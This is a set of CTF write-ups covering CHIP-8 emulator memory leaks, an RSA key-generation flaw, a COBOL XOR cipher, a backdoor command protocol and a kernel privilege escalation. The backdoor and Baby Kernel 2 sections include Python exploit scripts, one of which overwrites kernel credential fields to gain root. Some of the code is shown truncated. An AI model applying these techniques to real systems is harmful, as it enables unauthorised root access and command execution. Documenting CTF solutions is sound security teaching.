Chip 8

CHIP 8 /1

We were given a web-based implementation of the chip8 emulator. The chip has

  • 4KB memory (shared for code and data)
  • 16 1B general purpose registers (V0-V15)
  • a special 2B register (I) (which is used by display instructions)
  • a program counter (PC)
  • a 64×32-pixel monochrome display
  • (it also has a stack, carry flag and some more registers).

The first 512B (0x000-0x1FF) are protected and should no be accessible by programs. The author mentioned it’s a TOP SECRET. Obviously, our flag is there.

Looking for some more info about chip8 on the web quickly leads to a useful and more detailed technical reference of the chip. In the display section of the reference, an interesting statement appears:

Programs may also refer to a group of sprites representing the hexadecimal digits 0 through F. These sprites are 5 bytes long, or 8×5 pixels. The data should be stored in the interpreter area of Chip-8 memory (0x000 to 0x1FF).

Apparently, the display instructions of the chip can access the protected memory area. These are the available display instructions:

CommandTypeC equivalentDetails
DXYNDisplaydraw(Vx,Vy,N)Draws a sprite at coordinate (VX, VY) that has a width of 8 pixels and a height of N pixels. Each row of 8 pixels is read as bit-coded starting from memory location I; I value doesn’t change after the execution of this instruction. As described above, VF is set to 1 if any screen pixels are flipped from set to unset when the sprite is drawn, and to 0 if that doesn’t happen

The DXYN instruction will draw 8xN bits from memory address stored at register I to the screen. If we could set I to a low value, we could read from memory by drawing it to the screen. I can be affected by the following instructions:

CommandTypeC equivalentDetails
ANNNMEMI = NNNSetts I to the address NNN
FX1EMEMI += VXAdds VX to I
FX29MEMI = sprite_addr[Vx]Sets I to the location of the sprite for the character in VX. Characters 0-F (in hexadecimal) are represented by a 4×5 font stored in the first bytes of memory.

Trying to set I to a low value using the first two instructions (ANNN, FX1E) will raise an access-violation error and halt the program. Though the third one, FX29, looks much more promising (remembering the statement above which suggested that the actual location of these sprites is in the protected memory area).

As suspected, using FX29 (specifically, F229 while V2==0) set I to 0! (for V2==1, I will be set to 15, for V2==2, 30 and so on)
Using the DXYN instruction (specifically D10F while V1==V0==0) immediately after, ‘draws’ the first 8×15 bits in memory to the screen in a form of black (0) and white (1) colored pixels. Though the first 122 bytes only revealed the original chip’s stripes (graphical letters 0-F), starting at address 0x7E, our flag started to appear, each byte on a separate line.

The following chip8 code will dump the first 130B of the protected memory (including the entire flag) to the screen:

00E0 ; CLS

F229 ; set I to sprite of V2 (0) 
D10F ; draw at coordinates(0,0) from memory at 0x00

7203 ; V2+=1 (1)
7105 ; V1+=5 (5)
F229 ; set I to sprite of V2 (15)
D10F ; draw at coordinates(5,0) from memory at 0x0F

7203 ; V2+=1 (2)
7105 ; V1+=5 (10)
F229 ; set I to sprite of V2 (30)
D10F ; draw at coordinates(10,0) from memory at 0x1E

7203 ; V2+=1 (3)
7105 ; V1+=5 (15)
F229 ; set I to sprite of V2 (45)
D10F ; draw at coordinates(15,0) from memory at 0x2D

7203 ; V2+=1 (3)
7105 ; V1+=5 (20)
F229 ; set I to sprite of V2 (60)
D10F ; draw at coordinates(20,0) from memory at 0x3C


7203 ; V2+=1 (4)
7105 ; V1+=5 (25)
F229 ; set I to sprite of V2 (75)
D10F ; draw at coordinates(25,0) from memory at 0x4B

7203 ; V2+=1 (4)
7109 ; V1+=9 (34)
F229 ; set I to sprite of V2 (90)
D10F ; draw at coordinates(34,0) from memory at 0x5A

7203 ; V2+=1 (5)
7109 ; V1+=9 (43)
F229 ; set I to sprite of V2 (105)
D10F ; draw at coordinates(43,0) from memory at 0x69

Decoding the b/w pixels back to bits and translating to chars using an ASCII table revealed the flag:

01001000 0x48 'H'
01100001 0x61 'a'
01100011 0x63 'c'
01101011 0x6B 'k'
01010100 0x54 'T'
01001101 0x4D 'M'

01111011 0x7B '{'
01100001 0x61 'a'
00110101 0x35 '5'
00110101 0x35 '5'
01100101 0x65 'e'
01101101 0x6D 'm'
00111000 0x38 '8'
01101100 0x6C 'l'
01100101 0x65 'e'
01100100 0x64 'd'
01011111 0x5F '_'
01110011 0x73 's'
00110000 0x30 '0'
01100011 0x63 'c'
01101011 0x6B 'k'

01110011 0x73 's'
01111101 0x7D '}'

Flag: HackTM{a55em8led_s0cks}

CHIP 8 /2

Please first read CHIP 8 /1.

The second phase of the challenge was very similar to the first though this time, the last 512B in memory are also protected. The flag hides somewhere in 0xDFF-0xFFF.

Trying to set I to high values was not seem to be possible so we can not ‘draw’ the memory anymore or access it.

Digging around the available instructions looking for clues, the goto equivalent command (1NNN) which affects the PC raised a question – could a code run in the protected high memory area?

CommandTypeC equivalentDetails
1NNNFlowgoto NNN;Jumps to address NNN.

Trying to set the PC to 0xE00 1E00 seems to work. Upon a step/cycle, the chip will interpret the data there as an instruction, process it and increment PC by 2 (each instruction is 2B). The funny thing is, the emulator has a debug monitor which contains “Last instruction”. We can see the actual instruction which was just been processed after each step (ex. Last instruction 7279). We can read the memory 2B after 2B. If the actual data doesn’t represent a legal instruction, the program will halt, “Last instruction” will be blank but the error message will reveal the bytes (ex. Invalid instruction: 5F61). In such case, we can continue ‘reading’ by setting PC over to the next 2B using 1NNN and stepping again.

The potential data appeared at location 0x1F40:

AA48 .H
6163 ac
6B54 kT
4D7B M{
6436 d6
655F e_
6A75 ju
7279 ry
5F61 _a
6E64 nd
5F33 _3
7833 x3
6375 cu
7431 ti
6F6E on
7DAA }.

We have the string HackTM{d6e_jury_and_3x3cution} in memory but trying to submit this as a flag fails. Re-checking memory / translating to ASCII again produced the same wrong string. What?

It took a few more minutes to realize we may be missing ‘ju’ to complete the word ‘judge’. When searching for ‘dge_jury_and_execution’ in Google, it immediately suggest a correction – “judge jury and executioner”.

Flag: HackTM{jud6e_jury_and_3x3cution}

Bad Keys

Similiar to the setup of RSA is easy #1 and RSA is easy #2.
This time, encryption is done on the plaintext as a whole and not for every byte separately,

In addition we get the public key, the encrypted flag and remote access to a key-generation server. The key-generation server is starting from a specific snapshot every time you connect to it.
Furthermore, the challenge description states that no more than 10k messages have been sent between the flag encryption and the time of the snapshot.
All of these, in addition to the name of the challenge, suggests that the goal is to somehow break the key-generation algorithm and obtain the key for the flag.

Accessing the key-generation server, we can generate new public/private RSA key pairs.
In RSA terminology, we get: ((e, n), (d, n)) where (e, n) is the public key (e is always 65537), and (d, n) is the private key.
After generating a few key pairs, we can’t notice any visible connection that can help us guess older keys.
However, we know that RSA starts by picking two large prime numbers p, q and maybe the process of picking p and q is predictable. As it turns out, given the public and private RSA keys, one can deduce p and q. Ways to do this can be found easily online.

Looking at p and q of different generated keys, we quickly notice that either p or q is monotonically increasing. That is, starting from some q_0, the next q, namely q_1, will be the next prime after q_0.
In order to find the (p,q) that were used to encrypt the flag, we can start from the q extracted from the RSA key returned from the server and guess our way down to the prime number q* that suffices:

n % q* == 0

Where n is taken from the provided public key for the flag.

Once we find q*, we find p* by calculating n/q* and decryption of the flag easily follows.

Cobol OTP challenge


To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future?


The challenges include two files otp.cob and out

otp.cob is a Cobol program that at a glance, encrypts a message by xoring an unknown key (50 bytes) with a message (50 bytes as well)

out looks like an encrypted message:

$ hexdump -C out

00000000 45 6e 74 65 72 20 79 6f 75 72 20 6d 65 73 73 61 |Enter your messa|
00000010 67 65 20 74 6f 20 65 6e 63 72 79 70 74 3a 0a a6 |ge to encrypt:..|
00000020 d2 13 96 79 3b 10 64 68 75 9f dd 46 9f 5d 17 55 |...y;.dhu..F.].U|
00000030 6a 68 43 8f 8c 2d 92 31 07 54 60 68 26 9f cd 46 |jhC..-.1.T`h&..F|
00000040 87 31 2a 54 7b 04 5f a6 eb 06 a4 70 30 11 32 4a |.1*T{._....p0.2J|
00000050 0a                                              |.|

Issue 1

Taking a look at the heart of the encryption:

call 'CBL_XOR' using ws-key(ws-ctr:1) ws-flag by value ws-xor-len end-call

Reading the documentation we discover that this performs a
xor between ws-key[ws-ctr] and ws-flag with the length of ws-xor-len bytes. The result is stored in ws-flag.

Looking at the types we’ve understood that ws-ctr and ws-xor-len are one decimal digit long only. Therefore ws-ctr will wrap around every 10 bytes.

Thus, this limits the valid key space, since the xor of the key with the encrypted data must yield a printable character. In this case, we see that

encrypted[1]  ^ key[1] = printable_char1
encrypted[11] ^ key[1] = printable_char2
encrypted[21] ^ key[1] = printable_char3
encrypted[31] ^ key[1] = printable_char4
encrypted[41] ^ key[1] = printable_char5

And, of course, this holds for the key[2], etc..

Issue 2

Remembering that Cobol arrays are 1 based, the value of ws-flag(ws_ctr:1) when ws_ctr is 0 yields nothing and the xor is effectively nullified, and this gives us 5 unencrypted chars for free:


Since we had ~40 options for every character and still have 9 key character to guess we start by assuming the message looks like “flag{***************}\n“, where the * mean unknown character.

Pluging in the right key chars to yield the above string we get:


Now we could try to read the message and guess the needed keys. By assuming the word save (s4v3) should have _ after it and future is a reasonable word we tried all the options to get meaningful phrases from:


With a little guess work we think it reads something along the lines of: Now you can buy CO2 cer** & save the future**

Pluging in our guesses gave us the full flag:



Challenge description

A friendly hacktivist dropped us a backdoor on a server owned by a deforestation enterprise. Sadly noone knows how to operate it, she has given us the binaries. Figure it out and obtain the secret documents.

First impression

We are given two binaries, one called bridge and the other backdoor.
Not surprisingly they do what there name implies. The bridge listens on a TCP socket, reads and parses packets and then passes on parts of them over UDP to the backdoor process, in some cases it also reads back a response from the backdoor over UDP. Then the bridge sends a response back to the user over TCP.
But which messages are passed on, what format, and how do we find the flag?


When the bridge starts it opens a listening tcp port on 42069, and connects a udp socket to port 1056

sudo netstat -nap | grep -e bridge -e backdoor  
tcp        0      0 *               LISTEN      22849/./bridge      
udp        0      0          ESTABLISHED 22849/./bridge      

Then in a loop it reads 0x14 bytes from tcp port, and handles the commands (first dword) given:

0x00010000send next received byte to the backdoor over main udp port 1056, read up to 0x1000 bytes of response from udp, and send it back over tcp
0x08000000read 8 port numbers from tcp, create and connect 8 udp sockets to the ports, send character ‘i’ to the ports

Bridge command handling code (partial code)

if ( *(_DWORD *)p_buf == 0x10000 )
    addr.port = 0x2004;                         // port 1056
    if ( sendto(main_udp_fd, p_buf + 4, 1uLL, 0, (const struct sockaddr *)&addr, 0x10u) < 0
      || (amount_received = recvfrom(
                              (struct sockaddr *)&addr,
          amount_received < 0)
      || send(accepted_tcp_fd, local_buf, amount_received, 0) < 0 )
  else if ( *(_DWORD *)p_buf == 0x8000000 )
    LOBYTE(sendbuf) = 'i';
    p_ports = p_buf + 4;
    p_end = p_buf + 20;
      new_udp_socket = socket(2, 2, 0);         // udp
      *(_QWORD *)&addr.sa_family = 0LL;
      addr.field_8 = 0LL;
      rotated = __ROL2__(*p_ports, 8);
      addr.port = rotated;
      addr.sa_family = 2;
      sendto(new_udp_socket, &sendbuf, 1uLL, 0, (const struct sockaddr *)&addr, 0x10u);
    while ( p_ports !=  p_end );
    send(accepted_tcp_fd, &addr_len_or_sendbuf, 1uLL, 0);
    result = 0LL;

That’s it for the bridge.


When you startup the backdoor process, it creates and connects 8 random udp ports.

sudo netstat -nap | grep -e backdoor -e bridge
tcp        0      0 *               LISTEN      5470/./bridge       
udp        0      0          ESTABLISHED 5470/./bridge       
udp        0      0  *                           8524/./backdoor     
udp        0      0 *                           8524/./backdoor     
udp        0      0 *                           8524/./backdoor     
udp        0      0  *                           8524/./backdoor     
udp        0      0 *                           8524/./backdoor     
udp        0      0 *                           8524/./backdoor     
udp        0      0  *                           8524/./backdoor     
udp        0      0  *                           8524/./backdoor     
udp        0      0 *                           8524/./backdoor     

It then listens for commands both on the main udp port 1056, and on all the random ports.

Commands received on random ports

iXOR corresponding bit in current character buffer. Each thread/random_port is in charge of toggling one bit.

‘i’ command handling code

void __fastcall struc4::if_i_toggle_command(struc_4 *p_struc4, _BYTE *p_buf, __int64 len)
  if ( len > 0 && *p_buf == 'i' )
    p_struc4->[0] ^= 1u;

Commands received on main udp port

1commit current character to command buffer
2reset the system, clear command buffer, generate new threads and random ports
4call popen() on string in command buffer
8send list of the eight random ports to bridge, the order corresponds to bits in the current character buffer

Command handling code (partial code)

    byte_to_send = 0xF2u;
    sub_command = *p_buf;
    if ( sub_command & 1 )
        v9 = 0;
          p_struc4_1 = (struc_4 *)p_current_1->p_struc4;
          v9 = (unsigned __int8)p_struc4_1->[0] | 2 * v9 | (v9 >> 7);
        while ( p_last_1 != p_current_1 );
      *(_BYTE *)(p_struc4-> + v14) = v9;
      sendto(p_struc4->struc_4.fd_udp, &byte_to_send, 1uLL, 0, &p_struc4->struc_4.addr, sockaddr_len);
    else if ( sub_command & 2 )
      sendto(p_struc4->struc_4.fd_udp, &byte_to_send, 1uLL, 0, &p_struc4->struc_4.addr, sockaddr_len_1);
    else if ( sub_command & 4 )
      p_popen_read_stream = popen((const char *)p_struc4->, "r");
      if ( p_popen_read_stream )
        while ( fgets((char *)buf_to_send, 128, p_popen_read_stream) )
      if ( addr_len && p_struc4->struc_4.udp_port_bound )
        sendto(p_struc4->struc_4.fd_udp, p_buf_1, _basic_string_length, 0, &p_struc4->struc_4.addr, addr_len);
    else if ( sub_command & 8 )
      p_current = g_struc1.p_first;
      p_last = g_struc1.p_last;
      if ( g_struc1.p_first != g_struc1.p_last )
        i = 0LL;
            p_current_struc4 = (struc_4 *)p_current->p_struc4;
            buf_to_send[i] = p_current_struc4->random_port;
        while ( p_last != p_current );
      sendto(p_struc4->struc_4.fd_udp, buf_to_send, 0x10uLL, 0, &p_struc4->struc_4.addr, v28);

Connecting the dots

Now that we understand the various commands and sub-commands, we can string them all together in order to read the flag. What we want to do is, to send a shell command string to the backdoor and tell it to execute it using popen:

  1. send reset command (commmand 0x10000, sub 2), to clean internal command buffer.
  2. send get ports command (commmand 0x10000, sub 8), to get list of random ports
  3. for each character in our command string, cat ./flag, set the appropriate bits by toggling them with the XOR command:
    • send character using set char command (0x8000000), by toggling it on with XOR.
    • commit the character using commit char command (commmand 0x10000, sub 8)
    • send same character using set char command (0x8000000), in order to toggle it off with same XOR, so we are ready for next command.
  4. send execute command (commmand 0x10000, sub 4)

The python implementation

#!/usr/bin/env python3

import socket
import struct

UDP_PORT = 1056

# HOST = ''  # The server's hostname or IP address
# TCP_PORT = 42069        # The port used by the server

HOST = ''
TCP_PORT = 11111

def send_and_recv(s, data):
    print("sending data: ", repr(data))
    data = s.recv(1024)
    print('Received tcp', repr(data))
    return data

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    print("tcp socket", s)
    s.connect((HOST, TCP_PORT))

    data = struct.pack("<I", 0x10000) + b'\x02'
    print(send_and_recv(s, data))

    data = struct.pack("<I", 0x10000) + b'\x08'
    ports = send_and_recv(s, data)
    ports = struct.unpack("<HHHHHHHH", ports)
    print("ports: ", ports)

    def send_char(char):
        data = struct.pack("<IHHHHHHHH", 0x08000000, *[ports[7-i] if char & (1<<i) else 0 for i in range(8)])
        send_and_recv(s, data)

        data = struct.pack("<I", 0x10000) + b'\x01'
        send_and_recv(s, data)

        data = struct.pack("<IHHHHHHHH", 0x08000000, *[ports[7-i] if char & (1<<i) else 0 for i in range(8)])
        send_and_recv(s, data)

    for char in b"cat ./flag":

    data = struct.pack("<I", 0x10000) + b'\x04'
    print(send_and_recv(s, data))

Running the script gives the following output

tcp socket <socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('', 0)>
[>]  b'\x00\x00\x01\x00\x02'
  [<]  b'\xf2'
[>]  b'\x00\x00\x01\x00\x08'
  [<]  b'\xe8*\x11;\x8b\xf2y)\xdc\x1dh\xc5\xd2\xbb\x0c\xa4'

ports:  (10984, 15121, 62091, 10617, 7644, 50536, 48082, 41996)

[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbb\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbb\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\x00\x00y)\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\x00\x00y)\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\xdc\x1d\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\xdc\x1d\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x04'  
  [<]  b'flag{Kn0ck_Kn0ck____Wh0sTh3r3}\n'  

received flag: flag{Kn0ck_Kn0ck____Wh0sTh3r3}

Baby Kernel 2

Last year you may have taken your first steps in kernel exploitation. It was not that hard, after all.
This year we will take the second baby step. 🙂

nc 1337

Playing around

On each connection to the server, we see a kernel boot sequence printout ( we found the kernel version in it).

The output of the kernel bootup, makes it clear that a proprietary driver was installed in the kernel.

Following the boot sequence we get prompted with the following menu:

----- Menu -----

1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!

Let’s have a look to what we have for the menu 🙂

Trying to get a hint from 5 option : `…The flag file is not readable by your current user

You will need to become root to solve the challenge…`

Trying 4 option to read /flag is obviously not working : Could not open file for reading...

Option 3 returns our uid and gid :

uid=1000(user) gid=1000(user) groups=1000(user)

As for options 1 (Read) and 2 (Write), they seem to be where things are getting serious. We will get back to them later.

Looks like we will need to read the kernel to find our uid and write a new uid, root uid

Examining the files

The kernel driver installed was found. is provided!

the file is a symbol table used by the kernel.

let’s start,

What do read and write do?

in we found linux_banner which points to the Linux version string.

'ffffffff81600120 R linux_banner'

We tried to read this address and we got the Linux version string –> Absolute kernel read primitive

We tried to write to this address and re-read it, write works –> Absolute kernel write primitive


We want to change our user id from the current value 1000 to 0 (root), using our read and write primitives.

The uid and gid are stored in the cred struct in the task_struct struct

in we found current_task which points to the task_struct struct
'ffffffff8183a040 D current_task'

Now, we want to find the pointer to the cred struct in the task_struct struct

it is just before the comm field.

from /include/linux/sched.h

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu        *cred;

 * executable name, excluding path.
 * - normally initialized setup_new_exec()
 * - access it with [gs]et_task_comm()
 * - lock it with task_lock()
char                comm[TASK_COMM_LEN]; 

The comm field is plain text contain our program name, with the read function we read the task_struct and found it at offset 0x408 contain: “client_kernel_b”

Next, we override the uid and gid in the cred struct, we actually have several ids in cred struct in cred.h we override them all (uid, gid, suid, sgid, euid, egid, fsuid, fsgid) with 0 (root id)

from /include/linux/cred.h

struct cred {
    atomic_t    usage;
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */

afterwards we just read the flag from /flag

the flag was : flag{nicely_done_this_is_how_a_privesc_can_also_go}

Our solution:

#!/usr/bin/env python3

import pexpect
import re
import struct

p = pexpect.spawn('nc 1337')

def read_value(addr):
    p.expect ('wisely')
    p.sendline('%x' % addr)
    data = str(p.before)

    m ='level is: ([0-9a-f]+)', data)
    if m:
        return int(,16)

    print("_-----ERROR ----\n");
    return None

def write_value(addr, value):
    p.expect('write to')
    p.sendline('%x' % addr)
    p.sendline('%x' % value)

def read_file():
    print (p.before)
    print (p.before)

task_struct = read_value(0xffffffff8183a040)
cred = read_value(task_struct + 0x400)

#f = open("task_struct","wb")
#for i in range(0x0, 0x450, 8):
#    value = read_value(task_struct + i)
#    print ("%x, %x" % (i, value))
#    b = struct.pack("<Q", value)
#    f.write(b)

read_file() CTF 2019 — Shiny Code

We got a video leaked of a new transmission technique working only with lights and colors. The company using it says it is completely secure because of its secret encoding. However, the whistleblower also says that the secret encoding is somehow encoded in the message itself. It uses an old, historical technique based on short and long signals. I have no fucking clue what he is talking about. Perhaps you can help us?


Each of the six segments of the logo is a separate channel on which Morse code is transmitted by the LEDs comprising the segment blinking on and off. Decoding each of the channels reveals the following instructions:


Using these instructions, we translate the sequence of colors into a stream of 0s and 1s, which, when decoded as ASCII, reveals the flag:


It really is easy — in hindsight…

How we got there

A bunch of us spent a lot of time looking at this problem on and off. The transmission consists of a ~10 minute movie showing a custom-built board covered in LEDs forming the FluxFingers logo. The LEDs are divided into six groups, or segments, each of which blinks on and off independently, in various colors (all segments have the same color at any point in time).

The problem description mentions that the transmission technique works “only with lights and colors”, and additionally hints at Morse code being used for the encoding (“an old, historical technique based on short and long signals”). However, it is not clear how the multi-dimensional signal being observed (six groups of LEDs, plus color, plus time) maps onto the two-dimensional space (on/off, time) of Morse. The problem description also mentions that the encoding is itself somehow encoded in the transmission. And finally, it also notes that the flag has a non-standard format, using upper-case FLAG{.*} rather than the usual lower-case format, which would seem to hint at a limited character-set.

The following salient characteristics of the signal were observed in the initial analysis:

  • The lighting configuration changes every half-second (we called each such time-slot a “pulse”);
  • The color of all the LEDs changes every three seconds (every six pulses).

Initially we separated the movie into still frames, one for each pulse:

ffmpeg -i public/shiny_code.mp4 -vf fps=2 frames/pulse%04d.png

We observed 1248 pulses. As mentioned, the color changes every six pulses, which means that we had 208 color slots.

We couldn’t decide whether each pulse represented a character (if so, how does the color, which lasts for much longer than a single pulse, fit in?), or whether each color represented a character (if so, there’s an awful lot of information — six pulses of six bytes each, plus the color — used to encode each character). Also, 208 (and certainly 1248) seemed like a lot of characters for encoding a flag. One thought was that maybe the entire alphabet was encoded in the transmission before the flag itself (recall the hint that the encoding itself was encoded in the transmission).

Some ideas which were floated:

  • Maybe it really is the pulses which encode the character, but only one pulse in each color-group is used, with the color acting as a selector for which pulse from within the group to use? (That would make use of both the pulses and the color, while leaving us with the more-manageable number of 208 characters rather than 1248.)
  • The six-segment configuration reminded us of Braille, we tried various ways of fitting the data with that…
  • We looked at various 6-bit ASCII encodings, base64, and such.

But none of these ideas was really prescriptive enough regarding how to go about cracking the message.

So the next phase was to start to apply traditional analysis tools — first and foremost, frequency analysis — to our message. This required transforming the message into a more manageable format — textual rather than visual. This called for some image processing…

We are far from experts in image processing, and had a few false starts in trying to use Python/OpenCV for extracting the information from the images. Firstly, it took us a while to settle on which color-space to work in (do the entire analysis in RGB? extract brightness information from grayscale and separately the color from RGB? Use HSV space for part or all of the analysis?) Another issue which proved challenging was that the LEDs themselves were very saturated when lit, to such a degree that often they appeared white rather than being able to distinguish a color. Conversely, choosing a pixel which is not part of a LED itself proved to be sometimes too dark even when lit (at least, dark enough that choosing a non-dynamic threshold didn’t work very well, and choosing a dynamic threshold was beyond our abilities).

We ultimately settled on dealing with brightness (on/off) separately from color. The brightness information was analyzed using only the R channel of the image (this was a bit of an accident, we actually thought we were in a different color-space; the point is that because the LEDs are so saturated when on, any of the single channels individually would probably do…). We focused on a single LED (the entire square surrounding one LED) and averaged its brightness, and were able to determine a threshold which worked well for distinguishing between on and off.

Regarding the color, we actually decided to put it aside for a while (mainly because it seemed a bit more difficult to extract, and because we were itching to start analyzing the information we had already gotten from the brightness).

Initially we treated each LEDs segment as a single “bit”, and grouped the bits of each pulse arbitrarily into characters. The frequency analysis of the resulting characters initially looked promising: there were two characters which appeared much more frequently than the others (all-0 and all-1), and among the others there were more-frequent and less-frequent characters. However, looking deeper, we were unable to match the histogram to English letter frequencies; the spacing of the characters within the text did not seem to fit (e.g., assuming the most-frequent character is some kind of separator, do the lengths of the resulting “words” make sense?); and searching for repetitions or patterns did not fit with what you would expect from an English text. By this point we had also noticed that every second color was yellow, so we tried repeating these analyses separately on each of the only-yellow and only-non-yellow channels, but within similar results. All of this seemed to indicate that chunking the bits of each pulse into characters was not leading anywhere…

The breakthrough came when one of us noticed that whenever two consecutive pulses each had some “bits” lit, there was always at least one bit which remained lit from the first to the second pulse. This ultimately proved to only be an artifact, but it got us focusing more on the runs of on/off within each channel separately. Once we started focusing on that, we noticed that a given bit was always off for either one, three or seven consecutive pulses. Having already read up on Morse code, the numbers 1, 3 and 7 rang a bell: those are exactly the lengths of the spaces used for separating symbols within a character, characters, or words, respectively. Now we finally realized that each channel had to be looked at independently. From here forward it was mostly clear sailing.

We wrote some code to translate the runs of ones or zeros in each channel into Morse code, and then into English. It turns out that our data was really noisy (due to image processing errors? real errors in the transmission? we’re not sure…), but by writing the code to be a little robust to noise (and thanks to the fact that the message on each stream repeats itself over and over until the end of the stream), we quickly got the message out of each of the channels:

def morsify(channel):
    '''@param channel - a list of 0s and 1s (as integers)
    morse = []
    current = 0
    count = 0
    for p,c in enumerate(channel):
        if c == current:
            if current == 0:
                if count == 0:
                    pass # initial
                elif count == 1:
                    pass # symbol spacer
                elif count == 3:
                elif 5 < count < 9:
                    morse.append(' ')
                    morse.append('/?/') # raise Exception("0 of length %d at %d" % (count, p))
            else: # current = 1
                if count == 1:
                elif count == 3:
                    morse.append('/?/') # raise Exception("1 of length %d at %d" % (count, p))
            current = c
            count = 1
    return morse

CODE = {'A': '.-',     'B': '-...',   'C': '-.-.', 
        'D': '-..',    'E': '.',      'F': '..-.',
        'G': '--.',    'H': '....',   'I': '..',
        'J': '.---',   'K': '-.-',    'L': '.-..',
        'M': '--',     'N': '-.',     'O': '---',
        'P': '.--.',   'Q': '--.-',   'R': '.-.',
        'S': '...',    'T': '-',      'U': '..-',
        'V': '...-',   'W': '.--',    'X': '-..-',
        'Y': '-.--',   'Z': '--..',

        '0': '-----',  '1': '.----',  '2': '..---',
        '3': '...--',  '4': '....-',  '5': '.....',
        '6': '-....',  '7': '--...',  '8': '---..',
        '9': '----.', '?':'?',

EDOC = {v:k for k,v in CODE.items()}

def morse_decode(morse):
    output = []
    morse = ''.join(morse)
    words = morse.split()
    for w in words:
        chars = w.split('/')
        for c in chars:
            if c:
                if c in EDOC:
        output.append(' ')
    return ''.join(output)

>>> for c in channels:
...     print(morse_decode(morsify(c)))

RED?SS 01 AND T?...-.EEN IS 1M?T RED IS 0E?---- AND G.-...E? IS 10 .-...?D IS 01 E?NDEGREF IE 

Meanwhile, another team member had extracted the color information from the images. So we now already had on hand a textual representation of the colors, and were quickly able to translate that into a series of bits. Translating that series of bits into ASCII resulted in the beginning of the flag, though we again ran into trouble at some point along the way due to some image processing errors. These were, however, fixed by manually viewing the video, resulting in the flag:


Teen Kernel

The challenge description was :

“The baby was cute and made sure to let you know if something is wrong. Now, the baby has grown into a teen, a stubborn one. He does not like to talk very much. Can you display some authority?”

